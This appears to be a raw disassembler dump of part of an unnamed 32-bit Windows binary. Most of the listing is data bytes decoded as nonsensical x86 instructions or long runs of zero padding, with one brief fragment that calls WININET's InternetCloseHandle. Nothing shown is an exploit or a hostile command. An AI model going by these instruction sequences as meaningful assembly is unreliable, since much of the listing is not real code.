push edi
inc esi
jae 0x42173b
dec ebp
dec esp
and dword [ebx + 0x23], edi
push edx
jns 0x421770
pop edx
sub dword [eax + 0x7c], eax
jb 0x4216fb
pop edx
xor edi, dword [esi]
jbe 0x421701
jnp 0x42177b
add byte [eax + 0x2c], bl
sub dword [eax + 0x7c], eax
jb 0x421743
pop eax
sub al, 0x29
inc eax
jl 0x42177c
cmp byte [ecx + 0x3a], ah
outsd dx, dword [esi]
inc esp
popal
cmp ch, byte [edi + 0x44]
outsb dx, byte [esi]
aas
pop esp
cmp al, byte [eax]
jge 0x42176e
xor ebp, dword [edi]
inc edi
cmp byte [ecx + 0x3a], ah
outsd dx, dword [esi]
inc ebp
inc ebp
sub eax, dword [edx + 0x73]
jno 0x421771
pop edi
add byte gs:[edi + 0x57], ah
add byte [edx], dh
jle 0x42172e
inc ebp
inc ebp
sub eax, dword [edx]
add byte [eax + 0x26], dl
dec ecx
sub byte [ecx], bl
daa
inc eax
push ebp
push edx
dec ebp
add byte [edx + 0x7d], dh
add byte [eax], al
push eax
dec ebx
add byte [eax + 0x26], dl
dec ebx
insb byte es:[edi], dx
cmp dh, byte gs:[ebp + 0x42]
dec esp
add byte [ebp + 0x32], ah
and al, 0x37
pop eax
outsd dx, dword [esi]
cmp eax, 0x3a656c4b
sub esp, dword ss:[esi]
xor bl, byte [eax + 0x72]
add byte [ecx + esi], dh
jb 0x421762
xor al, 0x31
and dword [edi], esi
outsd dx, dword [esi]
push edx
add byte [ecx + 0x36], bl
sub esp, dword [esi]
dec edx
pop edi
dec edi
inc esi
cmp byte [edx + 0x4a], al
pushal
add byte [eax], bh
dec esi
push esi
add byte [ecx + 0x47], dh
jno 0x4217c4
inc edi
push edx
dec edx
pop edi
dec edi
inc esi
sub dword [esi], esp
add byte [ecx + 0x41], dh
add byte [eax], al
add byte [ecx + 0x7d], cl
and esp, dword [ecx + 0x54]
insb byte es:[edi], dx
jno 0x4217ba
sub dword [esi], esp
add byte [ecx + 0x45], dh
xor edi, dword [esi]
dec ebx
add byte [ecx], bh
imul edi, dword [ebp + 0x57], 0x4a
inc ebx
inc edx
push eax
jae 0x4217db
inc ebp
xor edi, dword [esi]
dec ebx
jle 0x4217f6
inc esi
add byte [ebp + 0x53], ah
imul ebx, dword [ebx + 0x75], 0x6b
pop esp
push ebx
jo 0x4217f0
sub ah, byte [ebp + 0x7e]
dec edx
jle 0x421806
inc esi
add byte [esi], bh
dec esi
jnp 0x421824
push eax
insb byte es:[edi], dx
add byte [ebx], cl
inc ebp
jnp 0x4217ca
dec ebx
push edx
inc esi
dec esi
jnp 0x421834
pop ebx
dec ecx
xor al, 0
pop esi
xor eax, 0x653e6858
jns 0x42180d
jns 0x42180d
push ecx
sub ebp, dword [esi]
pop ebx
dec ecx
xor al, 0
xor dl, byte [esi + 0x7b]
das
inc ebp
inc edi
cmp dword [edx + ecx*2 + 0x37], eax
push esi
dec esi
pop esp
add byte [edi + 0x2c], cl
xor dl, byte [esi + 0x7b]
das
xor ebp, dword [ebx]
dec ebp
aas
push eax
ja 0x42184a
inc ebp
outsd dx, dword [esi]
push edx
inc edi
add byte [eax + 0x61], dl
push eax
popal
dec eax
pop esp
xor ebp, dword [ebx]
dec ebp
aas
insd dword es:[di], dx
cmp al, 0x70
dec esp
pop eax
jno 0x421871
pushal
inc edx
add byte [edi], dl
sub al, 0
cmp byte [edi + 0x6d], ah
cmp al, 0x70
push ebx
jp 0x42184d
sub byte [eax], bh
push ecx
xor al, 0x64
pushal
cmp byte [ecx + 0x34], dl
pushal
imul ecx, dword [ecx + 0x2d], 0x4f
jno 0x42185d
inc edi
inc edi
push ebx
jp 0x42185d
sub byte [eax], bh
cmp ch, byte [ebx]
add byte [edx + 0x4f], dh
cmp byte [edx], bh
sub eax, dword [eax]
je 0x42189d
dec edi
sub eax, 0x63007d00
jbe 0x4218af
cmp eax, 0x2b3a3a41
add byte [ecx + 0x7c], dh
bound ebp, qword [esi]
pop ecx
popal
jl 0x4218af
pop ecx
xor ebx, dword [ebp + 0x5a]
and esp, dword [ebp + 0x79]
inc ebx
pop ebp
inc edx
sub eax, dword [eax + 0x61]
jl 0x4218bf
add byte cs:[esi + 0x5c], dl
push 0
aas
sub byte [ebp + 0x53], cl
add byte [0x6f7e5f5b], ch
dec ebp
add byte [esi + 0x5c], dl
push 0x37
inc edx
dec edx
dec eax
dec esi
sub eax, 0x5f285060
add byte es:[edi + 0x56], cl
pop ecx
aaa
inc edx
dec edx
dec eax
add byte [eax], al
dec ebx
arpl word [ecx], di
jl 0x4218ba
push ebp
push esp
and eax, 0x6d554334
inc ecx
add byte [eax], al
add byte [ebx + 0x63], cl
add esp, 0x104c
mov eax, esi
pop ebx
pop esi
pop edi
adc byte [eax], al
add byte [ecx + 0x5f5e5bf0], cl
pop ebp
ret
mov dword [esp], esi
xor esi, esi
call dword [sym.imp.WININET.DLL_InternetCloseHandle]
xor eax, dword [ebx]
sub esp, 4
jmp 0x42189a
nop
nop
nop
nop
nop
nop
xor dword [ebx + ebp + 0x4a], edi
inc esi
xor eax, 0x5d4e66
and ebp, dword [edx]
imul edx, dword [edx + ecx*2 + 0x74], 0x31
jl 0x4218fe
dec edx
inc esi
xor eax, 0x5d4e66
and ebp, dword [edx]
imul edx, dword [edx + ecx*2 + 0x74], 0
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [edx + 0x26], bh
popal
and eax, dword [eax + eax + 0x50]
and bl, byte [edx + 0x5d]
das
pop edi
push ecx
pop edx
pop edx
jp 0x421928
popal
and eax, dword [eax + eax + 0x50]
and bl, byte [edx + 0x5d]
das
pop edi
push ecx
pop edx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
jae 0x42195a
push ax
cmp eax, 0x76366a57
cmp eax, 0x3275607a
jbe 0x421967
jp 0x42198c
jne 0x421960
pop esp
cmp dh, byte [ebx + 0x38]
push ax
cmp eax, 0x76366a57
cmp eax, 0x3275607a
pop esp
cmp al, byte [eax]
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ecx], bh
insb byte es:[edi], dx
add byte [edi + 0x63], ch
dec ebp
cmp byte [esi], ah
sub al, byte [eax]
dec eax
jge 0x421994
add byte [edx], dh
pop ebp
cmp dword [eax + eax + 0x6f], ebp
arpl word [ebp + 0x38], cx
sub al, byte es:[eax]
dec eax
jge 0x4219a4
add byte [edx], dh
pop ebp
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
sub eax, 0x4d4d5c51
aaa
add byte ds:[esp + esi*2 + 0x6e], cl
pop edi
inc esi
pushal
sub eax, 0x4d4d5c51
dec ebp
aaa
add byte ds:[esp + esi*2 + 0x6e], cl
pop edi
inc esi
pushal
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
dec eax
jle 0x4219b3
dec edx
pop edi
xor eax, dword [eax]
aaa
cmp ebx, dword [ebx + ebp*2 + 0x4f]
pop ebp
dec ebp
jge 0x421a09
jle 0x4219c3
dec edx
pop edi
xor eax, dword [eax]
aaa
cmp ebx, dword [ebx + ebp*2 + 0x4f]
pop ebp
dec ebp
jge 0x4219d1
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi + 0x53], dl
push esi
push ebx
sub esp, 0x24
mov esi, dword [esp + 0x34]
je 0x42205f
pop ebx
jno 0x42200e
push eax
ja 0x42203b
push ebx
jno 0x422049
jle 0x422084
aaa
pop eax
je 0x42206f
pop ebx
jno 0x42201e
dec eax
inc edi
sub ah, byte [ebx]
aas
cmp al, 0x28
pop eax
sub bh, byte [0x283d28]
dec eax
inc edi
cmp eax, 0x62330000
dec ebp
sub dh, byte [esi]
cmp al, 0x68
imul esp, dword [edx + 0x22], 0x4b
pop esp
add byte [0x30330000], bh
pushal
dec esi
and dh, byte [ebx]
pop edx
cmp byte [ebp + 0x7b], bh
xor ebx, dword [edx + 0x38]
jge 0x4220c9
pop eax
push ebx
sub dh, byte [ecx + 0x31]
imul edi, dword [ecx], 0x224e6030
inc ebx
push 0x777d683a
inc eax
js 0x4220a9
pop ebx
xor esp, dword [ebx]
inc esp
push ebx
inc edx
inc ebx
push 0x534a683a
ja 0x42209a
aas
push ebp
cmp eax, 0x7b3d6573
xor eax, 0x5e70303d
dec edx
push ebx
ja 0x4220aa
add byte [ecx + 0x2a], bh
jnp 0x4220d4
je 0x422088
outsb dx, byte [esi]
add byte es:[edi], bh
dec ebx
je 0x4220b9
inc edx
add byte gs:[ecx + 0x2a], bh
jnp 0x4220ec
inc edi
dec ebp
imul esi, dword [ecx + eax*2 + 0x67], 0x69
insb byte es:[edi], dx
sub dword [esi + esi], edi
bound eax, qword [eax]
inc ecx
imul ebp, dword [si + 0x29], 0x62363c
das
cmp byte [esi + 0x47], dl
dec ebp
imul ebx, dword [edi + 0x56], 0x66
imul esi, dword [ecx], 0x7b737473
pop edi
push esi
imul si, word [ecx], 0x7473
jae 0x42212d
popal
cmp al, 0
outsd dx, dword [esi]
inc esp
cmp byte [edi + 0x5f], dl
pop edi
push esi
imul bp, word [ebp + 0x2e], 0x6b7e
dec esp
sub eax, 0x56576445
cmp eax, 0x55356e37
xor eax, 0x6b7e2e6d
outsb dx, byte [esi]
xor eax, 0x2e6d3555
jle 0x42213c
outsd dx, dword [esi]
xor ecx, dword [ebx + 0x77]
popal
ja 0x422137
cmp byte [eax], al
inc ebp
jo 0x4220db
and eax, 0x553e22
outsd dx, dword gs:[esi]
xor ecx, dword [ebx + 0x77]
pop ebp
xor byte [ebp + 0x70], bl
dec ebp
jno 0x422151
dec eax
push esi
sub byte [edx + 0x35], dl
add byte [0x305d2835], bh
pop ebp
jo 0x422133
and eax, 0x35007247
inc edx
push ebp
cmp eax, dword [eax]
dec esp
inc edx
jno 0x422159
cmp dword [0x403c7247], esp
jo 0x42215b
push 0x49
dec ebp
add byte [eax + 0x45], ah
dec esp
cmp esp, dword [ebx]
dec esp
pop ebx
cmp al, 0x40
jo 0x42216b
jae 0x422189
ja 0x422197
inc esi
dec eax
xor dword [eax + 0x53], ecx
and dword [esi + 0x6e], ecx
jns 0x422173
add byte [ebx + esi*2], dh
ja 0x4221a7
ja 0x4221a7
pop edx
inc eax
add byte [eax], al
xor eax, 0x794f3462
pop ecx
dec edi
jns 0x422198
add byte [eax + 0x56], ah
add byte [edx + esi], dh
pop edx
inc eax
add byte [eax], al
pop edx
and al, 0x3c
inc eax
sub byte [edx + 0x31], cl
dec edx
add byte [eax], dh
outsd dx, dword [esi]
jbe 0x422159
dec edx
xor dword [edx], ecx
xor byte [edi + 0x76], ch
add byte [edx + 0x67], bl
pop edx
popaw
popaw
add byte [ebx + 0x34], bh
jl 0x4221d7
add byte [esi + 0x3b], ah
and dword [ebp + 0x7a], esp
jge 0x4221af
insd dword es:[edi], dx
pushal
popal
add byte [ebx + 0x34], bh
inc esp
push edx
inc eax
dec esp
push edx
popal
xor eax, dword [eax]
aaa
sub dword [ebp + 0x5d], edi
jp 0x4221c9
sub edi, dword [ecx]
inc esp
push edx
inc eax
dec esp
sub dword [ecx + 0x35], ebp
je 0x422200
je 0x422200
xor dh, byte gs:[ebx + 0x52]
daa
and dword [esi], ecx
dec esp
arpl word [ecx], bp
imul esi, dword [0x57384f64], 0x594b6833
xor eax, 0x57384f64
xor ebp, dword [eax + 0x4b]
pop ecx
dec edi
cmp byte [edi + 0x33], dl
push 0x646a594b
push 0x64
arpl word [eax], di
pop edx
push ecx
inc edi
xor cl, byte [edi + 0x38]
push edi
xor eax, dword [edx + 0x52]
jbe 0x4221ff
sub eax, 0x45234e57
add byte [edx + 0x4a], al
push edx
insb byte es:[edi], dx
push edi
inc edx
push edx
jbe 0x42220f
aaa
jp 0x422212
das
arpl word [ebx + 0x6b], di
push eax
pop ebp
cmp al, 0x6e
sub al, 0x26
cmp byte [ebx + 0x37], cl
jp 0x422222
aaa
jns 0x422219
inc ecx
cmp dword cs:[edx + 0x21], ebp
outsb dx, byte [esi]
pop eax
js 0x422218
push ecx
add byte [ebx + 0x71], al
js 0x42221d
jns 0x422229
push edx
inc edx
dec esp
insd dword es:[edi], dx
push ebp
insb byte es:[edi], dx
jae 0x422221
ja 0x42221c
xor dword [eax], eax
push ebx
jl 0x422257
push edx
inc edx
dec esp
insd dword es:[edi], dx
imul esp, dword [eax + ebp*2], 0x40242846
push 0x24284600
inc eax
add byte [esi + 0x28], al
and al, 0x40
and al, 0x72
jne 0x422270
add byte [esi + 0x63], cl
add byte [ecx + 0x64], ch
push 0x35633b00
jnp 0x422276
arpl word [0x4271607b], si
jno 0x42225a
push eax
xor dword [0x42567921], edi
jns 0x422274
push esi
inc edx
cmp al, 0x6b
cmp esp, dword [ebx + 0x35]
jnp 0x42229b
arpl word [0x7e6c757b], si
arpl word [esi], sp
jnp 0x422299
insb byte es:[edi], dx
jle 0x42228c
jnp 0x422299
and eax, 0x326e4000
pop esp
xor eax, 0x6c757100
jle 0x42229c
sub al, 0
inc esp
jo 0x422271
insb byte es:[edi], dx
add byte [ecx], dh
and al, 0x75
inc edx
inc eax
push eax
jo 0x4222ac
js 0x422276
add byte [eax + esi*2 + 0x2b], al
jle 0x422292
push eax
push ebp
inc esp
jp 0x4222c1
pop ebp
jb 0x42229f
inc edi
inc edx
xor ch, byte [ecx + edi*2 + 0x2b]
insb byte es:[edi], dx
jns 0x422288
sub edi, dword [esi + 0x42]
push eax
pop esi
das
pushal
and dword [edi], edi
add byte [edx], ah
insd dword es:[edi], dx
aas
and dword [eax + 0x5c], ecx
cmp dword [edi], edx
add byte [esi + 0x2f], bl
pop esi
das
pushal
and dword [ecx + ecx*2 + 0x2b], ecx
dec edi
add byte [ecx + ecx*2 + 0x30], dl
ja 0x4222f2
dec ecx
sub ecx, dword [edi]
push esp
dec ecx
xor byte [edi + 0x73], dh
aaa
aas
push esi
pop edx
xor eax, 0x4f2b494c
dec edi
and al, 0x77
xor al, 0x2f
das
add byte [eax + 0x25], cl
and bl, byte [edx + 0x27]
daa
jae 0x4222dc
dec esi
je 0x4222dd
add byte [edi + esi*2], ah
and al, 0x77
xor al, 0x2f
das
pop edi
sub dl, byte [eax + 0x32]
push ecx
dec edi
push esp
pushal
xor dl, byte [ecx + 0x4f]
add byte [esi], bh
pop si
dec bx
sub al, 0x25
dec esp
pop edi
sub dl, byte [eax + 0x7e]
outsd dx, dword [esi]
jbe 0x42232a
push ebp
sub al, 0x46
pop edx
arpl word [ebp], bp
pop eax
aaa
push ebx
sub dword [eax + 0x7e], edi
outsd dx, dword [esi]
jle 0x422332
jbe 0x42233a
push edx
sub eax, 0x5c3d2b2d
bound esp, qword [edi]
and ch, byte [esi + 0x42]
sub edx, dword [ecx + 0x25]
xor eax, 0x2d2d5276
sub ebx, dword [edx + 0x40]
add byte [ebp + 0x2f], ah
das
das
dec esp
imul esi, dword [edi], 0x6e
je 0x422351
xor cl, byte [esi + 0x45]
push edx
pop edx
inc eax
add byte [ebp + 0x66], ah
and esp, dword [edx + 0x73]
insd dword es:[edi], dx
xor al, 0
sub dword [ecx + 0x6b], edi
push ecx
pop esi
add byte [edx + 0x26], ch
and sp, word [edx + 0x73]
xor ebx, dword [ebp + edi*2 + 0x3d]
sub byte [ebx], ch
insd dword es:[edi], dx
daa
push 0x5c
push esi
jne 0x422360
jge 0x422342
jb 0x422345
pop esp
